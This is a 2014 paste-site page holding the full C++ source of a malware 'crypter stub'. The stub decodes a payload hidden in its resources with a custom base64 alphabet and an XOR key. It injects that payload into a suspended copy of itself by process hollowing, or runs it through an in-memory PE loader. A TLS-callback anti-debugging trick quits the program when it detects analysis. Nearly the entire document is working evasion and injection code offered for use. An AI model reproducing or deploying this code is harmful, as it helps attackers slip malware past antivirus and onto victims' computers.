C++ Crypter Stub Source


SUBMITTED BY: Guest

DATE: July 5, 2014, 6:53 a.m.

FORMAT: C++

SIZE: 14.1 kB

HITS: 1002

  1. #pragma warning(disable: 4244)
  2. #pragma comment(lib, "Shlwapi.lib")
  3. #pragma comment(linker,"/include:__tls_used")
  4. #pragma section(".CRT$XLB", read)
  5. #include <Windows.h>
  6. #include <Shlwapi.h>
  7. #include <assert.h>
  8. typedef LONG (WINAPI *NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
  9. static char encoding_table[] =
  10. {
  11. '=', 'w', 'e', 'r', 't', 'y', 'u', 'i',
  12. 'o', 'p', 'a', 's', 'd', 'f', 'g', 'h',
  13. '-', 'k', 'l', 'z', 'x', 'c', 'v', 'b',
  14. 'n', 'm', 'Q', 'W', 'E', 'R', 'T', 'Y',
  15. '<', 'I', 'O', 'P', 'A', 'S', 'D', 'F',
  16. 'G', 'H', 'J', '/', 'L', 'Z', '@', 'C',
  17. 'V', 'B', 'N', 'M', '9', '8', '7', '6',
  18. '5', '4', '3', '2', '1', '0', 'X', 'j'
  19. };
  20. static char *decoding_table = NULL;
  21. byte *mDecode(const char *data, DWORD input_length, DWORD *output_length)
  22. {
  23. byte *decoded_data;
  24. DWORD i = 0, j = 0;
  25. int a = 0;
  26. *output_length = input_length / 4 * 3;
  27. if (decoding_table == NULL)
  28. {
  29. decoding_table = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 256);
  30. for (int i = 0; i < 64; i++)
  31. {
  32. decoding_table[(byte) encoding_table[i]] = i;
  33. }
  34. }
  35. if (data[input_length - 1] == '#')
  36. {
  37. (*output_length)--;
  38. }
  39. if (data[input_length - 2] == '#')
  40. {
  41. (*output_length)--;
  42. }
  43. decoded_data = (byte*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, *output_length);
  44. if (decoded_data == NULL)
  45. {
  46. return NULL;
  47. }
  48. for (i = 0, j = 0; i < input_length;)
  49. {
  50. __int32 sextet_a, sextet_b, sextet_c, sextet_d, triple;
  51. sextet_a = data[i] == '#' ? 0 & i++ : decoding_table[data[i++]];
  52. sextet_b = data[i] == '#' ? 0 & i++ : decoding_table[data[i++]];
  53. sextet_c = data[i] == '#' ? 0 & i++ : decoding_table[data[i++]];
  54. sextet_d = data[i] == '#' ? 0 & i++ : decoding_table[data[i++]];
  55. triple = (sextet_a << 3 * 6) + (sextet_b << 2 * 6) + (sextet_c << 1 * 6) + (sextet_d << 0 * 6);
  56. if (j < *output_length)
  57. {
  58. decoded_data[j++] = (triple >> 2 * 8) & 0xFF;
  59. }
  60. if (j < *output_length)
  61. {
  62. decoded_data[j++] = (triple >> 1 * 8) & 0xFF;
  63. }
  64. if (j < *output_length)
  65. {
  66. decoded_data[j++] = (triple >> 0 * 8) & 0xFF;
  67. }
  68. }
  69. return decoded_data;
  70. }
  71. void Decode(byte *Data, DWORD Key, DWORD Size)
  72. {
  73. for(DWORD i = 0; i < Size; i++)
  74. {
  75. Data[i] ^= Key;
  76. Data[i] -= Key;
  77. }
  78. }
  79. void WINAPI TlsCallback(PVOID Module, DWORD Reason, PVOID Context)
  80. {
  81. DWORD dwAnti = 0xFFFFFFFF, Error = 0;
  82. VirtualProtectEx((HANDLE)0x154843, (LPVOID)0x388148, 0x14862, NULL, NULL);
  83. _asm
  84. {
  85. MOV EAX, FS:[18h];
  86. MOV EAX, [EAX+34h];
  87. MOV Error, EAX;
  88. }
  89. while(dwAnti != 0)
  90. {
  91. if(Error != ERROR_INVALID_PARAMETER)
  92. break;
  93. dwAnti--;
  94. }
  95. if(dwAnti)
  96. {
  97. ExitProcess(EXIT_FAILURE);
  98. }
  99. }
  100. HMODULE load_dll(const char *dll_name)
  101. {
  102. HMODULE module;
  103. module = GetModuleHandleA(dll_name);
  104. if (!module)
  105. {
  106. module = LoadLibraryA(dll_name);
  107. }
  108. return module;
  109. }
  110. #define MAKE_ORDINAL(val)(val & 0xffff)
  111. int load_imports(IMAGE_IMPORT_DESCRIPTOR *imp_desc, void *load_address)
  112. {
  113. while (imp_desc->Name || imp_desc->TimeDateStamp)
  114. {
  115. IMAGE_THUNK_DATA *name_table, *address_table, *thunk;
  116. char *dll_name = (char *)load_address + imp_desc->Name;
  117. HMODULE module = load_dll(dll_name);
  118. if (!module)
  119. {
  120. return 0;
  121. }
  122. name_table = (IMAGE_THUNK_DATA *)((char *)load_address + imp_desc->OriginalFirstThunk);
  123. address_table = (IMAGE_THUNK_DATA *)((char *)load_address + imp_desc->FirstThunk);
  124. thunk = name_table == load_address ? address_table : name_table;
  125. if (thunk == load_address)
  126. {
  127. return 0;
  128. }
  129. while (thunk->u1.AddressOfData)
  130. {
  131. unsigned char *func_name;
  132. if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
  133. {
  134. func_name = (unsigned char *)MAKE_ORDINAL(thunk->u1.Ordinal);
  135. }
  136. else
  137. {
  138. func_name = (BYTE*)((IMAGE_IMPORT_BY_NAME *)((char *)load_address + thunk->u1.AddressOfData))->Name;
  139. }
  140. address_table->u1.Function = (DWORD)GetProcAddress(module, (char *)func_name);
  141. thunk++;
  142. address_table++;
  143. }
  144. imp_desc++;
  145. }
  146. return 1;
  147. }
  148. void fix_relocations(IMAGE_BASE_RELOCATION *base_reloc, DWORD dir_size, DWORD new_imgbase, DWORD old_imgbase)
  149. {
  150. IMAGE_BASE_RELOCATION *cur_reloc = base_reloc, *reloc_end;
  151. DWORD delta = new_imgbase - old_imgbase;
  152. reloc_end = (IMAGE_BASE_RELOCATION *)((char *)base_reloc + dir_size);
  153. while (cur_reloc < reloc_end && cur_reloc->VirtualAddress)
  154. {
  155. int count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
  156. WORD *cur_entry = (WORD *)(cur_reloc + 1);
  157. void *page_va = (void *)((char *)new_imgbase + cur_reloc->VirtualAddress);
  158. while (count--)
  159. {
  160. if (*cur_entry >> 12 == IMAGE_REL_BASED_HIGHLOW)
  161. {
  162. *(DWORD *)((char *)page_va + (*cur_entry & 0x0fff)) += delta;
  163. }
  164. cur_entry++;
  165. }
  166. cur_reloc = (IMAGE_BASE_RELOCATION *)((char*)cur_reloc + cur_reloc->SizeOfBlock);
  167. }
  168. }
  169. IMAGE_NT_HEADERS *get_nthdrs(void *map)
  170. {
  171. IMAGE_DOS_HEADER *dos_hdr;
  172. dos_hdr = (IMAGE_DOS_HEADER *)map;
  173. return (IMAGE_NT_HEADERS *)((char*)map + dos_hdr->e_lfanew);
  174. }
  175. void *load_pe(void *fmap)
  176. {
  177. IMAGE_NT_HEADERS *nthdrs;
  178. IMAGE_DATA_DIRECTORY *reloc_entry, *imp_entry;
  179. void *vmap;
  180. WORD nsections, i;
  181. IMAGE_SECTION_HEADER *sec_hdr;
  182. size_t hdrs_size;
  183. IMAGE_BASE_RELOCATION *base_reloc;
  184. nthdrs = get_nthdrs(fmap);
  185. reloc_entry = &nthdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
  186. if (!reloc_entry->VirtualAddress)
  187. {
  188. return NULL;
  189. }
  190. vmap = VirtualAlloc(NULL, nthdrs->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  191. if (!vmap)
  192. {
  193. return NULL;
  194. }
  195. nsections = nthdrs->FileHeader.NumberOfSections;
  196. sec_hdr = IMAGE_FIRST_SECTION(nthdrs);
  197. hdrs_size = (char*)(sec_hdr + nsections) - (char*)fmap;
  198. memcpy(vmap, fmap, hdrs_size);
  199. for (i = 0; i < nsections; i++)
  200. {
  201. size_t sec_size;
  202. sec_size = sec_hdr[i].SizeOfRawData;
  203. memcpy((char*)vmap + sec_hdr[i].VirtualAddress, (char*)fmap + sec_hdr[i].PointerToRawData, sec_size);
  204. }
  205. imp_entry = &nthdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  206. if (!load_imports((IMAGE_IMPORT_DESCRIPTOR *)((char*)vmap + imp_entry->VirtualAddress), vmap))
  207. {
  208. goto c;
  209. }
  210. base_reloc = (IMAGE_BASE_RELOCATION *)((char*)vmap + reloc_entry->VirtualAddress);
  211. fix_relocations(base_reloc, reloc_entry->Size, (DWORD)vmap, nthdrs->OptionalHeader.ImageBase);
  212. return (void *)((char*)vmap + nthdrs->OptionalHeader.AddressOfEntryPoint);
  213. c:
  214. VirtualFree(vmap, 0, MEM_RELEASE);
  215. return NULL;
  216. }
  217. int Executer(char *self)
  218. {
  219. HRSRC hRes = FindResourceA(NULL, "Strings", RT_RCDATA);
  220. HGLOBAL hGlob = LoadResource(NULL, hRes);
  221. char *FileData = (char*)LockResource(hGlob);
  222. DWORD FileDataSize = SizeofResource(NULL, hRes);
  223. DWORD FileDataDecodedSize = 0;
  224. byte *FileDataDecoded = mDecode(FileData, FileDataSize, &FileDataDecodedSize);
  225. Decode(FileDataDecoded, 1337, FileDataDecodedSize);
  226. PIMAGE_DOS_HEADER idh = (PIMAGE_DOS_HEADER)FileDataDecoded;
  227. PIMAGE_NT_HEADERS ith = (PIMAGE_NT_HEADERS)((DWORD)FileDataDecoded + idh->e_lfanew);
  228. if(ith->OptionalHeader.DataDirectory[14].VirtualAddress != 0)
  229. {
  230. MessageBoxA(HWND_DESKTOP, "Someone tried to i-n-f-e-c-t your pc with a .NET m-a-l-w-a-re, beware!!", "Skid warning", MB_OK | MB_ICONEXCLAMATION);
  231. ExitProcess(EXIT_FAILURE);
  232. }
  233. if(ith->OptionalHeader.DataDirectory[5].VirtualAddress == 0)
  234. {
  235. PIMAGE_DOS_HEADER IDH;
  236. PIMAGE_NT_HEADERS INH;
  237. PIMAGE_SECTION_HEADER ISH;
  238. PROCESS_INFORMATION PI;
  239. STARTUPINFOA SI;
  240. PCONTEXT CTX;
  241. PDWORD dwImageBase;
  242. NtUnmapViewOfSection xNtUnmapViewOfSection;
  243. LPVOID pImageBase;
  244. int Count;
  245. IDH = PIMAGE_DOS_HEADER(FileDataDecoded);
  246. if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
  247. {
  248. INH = PIMAGE_NT_HEADERS(DWORD(FileDataDecoded) + IDH->e_lfanew);
  249. if (INH->Signature == IMAGE_NT_SIGNATURE)
  250. {
  251. RtlZeroMemory(&SI, sizeof(SI));
  252. RtlZeroMemory(&PI, sizeof(PI));
  253. if (CreateProcessA(self, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
  254. {
  255. CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
  256. CTX->ContextFlags = CONTEXT_FULL;
  257. if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
  258. {
  259. ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
  260. if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
  261. {
  262. xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
  263. xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
  264. }
  265. pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
  266. if (pImageBase)
  267. {
  268. WriteProcessMemory(PI.hProcess, pImageBase, FileDataDecoded, INH->OptionalHeader.SizeOfHeaders, NULL);
  269. for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
  270. {
  271. ISH = PIMAGE_SECTION_HEADER(DWORD(FileDataDecoded) + IDH->e_lfanew + 248 + (Count * 40));
  272. WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(FileDataDecoded) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
  273. }
  274. WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
  275. CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
  276. SetThreadContext(PI.hThread, LPCONTEXT(CTX));
  277. ResumeThread(PI.hThread);
  278. }
  279. }
  280. }
  281. }
  282. }
  283. VirtualFree(FileDataDecoded, 0, MEM_RELEASE);
  284. }
  285. else
  286. {
  287. void *ep = load_pe(FileDataDecoded);
  288. if (!ep)
  289. {
  290. return EXIT_FAILURE;
  291. }
  292. __asm
  293. {
  294. mov ebx, fs:[0x30]
  295. mov eax, ep
  296. call eax
  297. }
  298. }
  299. return EXIT_SUCCESS;
  300. }
  301. LPSTR *CommandLineToArgvA(LPSTR lpCmdLine, int *pNumArgs)
  302. {
  303. int retval;
  304. retval = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, lpCmdLine, -1, NULL, 0);
  305. if (!SUCCEEDED(retval))
  306. {
  307. return NULL;
  308. }
  309. LPWSTR lpWideCharStr = (LPWSTR)malloc(retval *sizeof(WCHAR));
  310. if (lpWideCharStr == NULL)
  311. {
  312. return NULL;
  313. }
  314. retval = MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, lpCmdLine, -1, lpWideCharStr, retval);
  315. if (!SUCCEEDED(retval))
  316. {
  317. free(lpWideCharStr);
  318. return NULL;
  319. }
  320. int numArgs;
  321. LPWSTR *args;
  322. args = CommandLineToArgvW(lpWideCharStr, &numArgs);
  323. free(lpWideCharStr);
  324. if (args == NULL)
  325. {
  326. return NULL;
  327. }
  328. int storage = numArgs * sizeof(LPSTR);
  329. for (int i = 0; i < numArgs; ++i)
  330. {
  331. BOOL lpUsedDefaultChar = FALSE;
  332. retval = WideCharToMultiByte(CP_ACP, 0, args[i], -1, NULL, 0, NULL, &lpUsedDefaultChar);
  333. if (!SUCCEEDED(retval))
  334. {
  335. LocalFree(args);
  336. return NULL;
  337. }
  338. storage += retval;
  339. }
  340. LPSTR* result = (LPSTR*)LocalAlloc(LMEM_FIXED, storage);
  341. if (result == NULL)
  342. {
  343. LocalFree(args);
  344. return NULL;
  345. }
  346. int bufLen = storage - numArgs * sizeof(LPSTR);
  347. LPSTR buffer = ((LPSTR)result) + numArgs * sizeof(LPSTR);
  348. for (int i = 0; i < numArgs; ++ i)
  349. {
  350. assert(bufLen > 0);
  351. BOOL lpUsedDefaultChar = FALSE;
  352. retval = WideCharToMultiByte(CP_ACP, 0, args[i], -1, buffer, bufLen, NULL, &lpUsedDefaultChar);
  353. if (!SUCCEEDED(retval))
  354. {
  355. LocalFree(result);
  356. LocalFree(args);
  357. return NULL;
  358. }
  359. result[i] = buffer;
  360. buffer += retval;
  361. bufLen -= retval;
  362. }
  363. LocalFree(args);
  364. *pNumArgs = numArgs;
  365. return result;
  366. }
  367. __declspec(allocate(".CRT$XLB")) PIMAGE_TLS_CALLBACK CallbackAddress[2] = { TlsCallback, NULL };
  368. int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  369. {
  370. int argc = 0;
  371. char **argv = CommandLineToArgvA(GetCommandLineA(), &argc);
  372. Executer(argv[0]);
  373. return EXIT_SUCCESS;
  374. }

comments powered by Disqus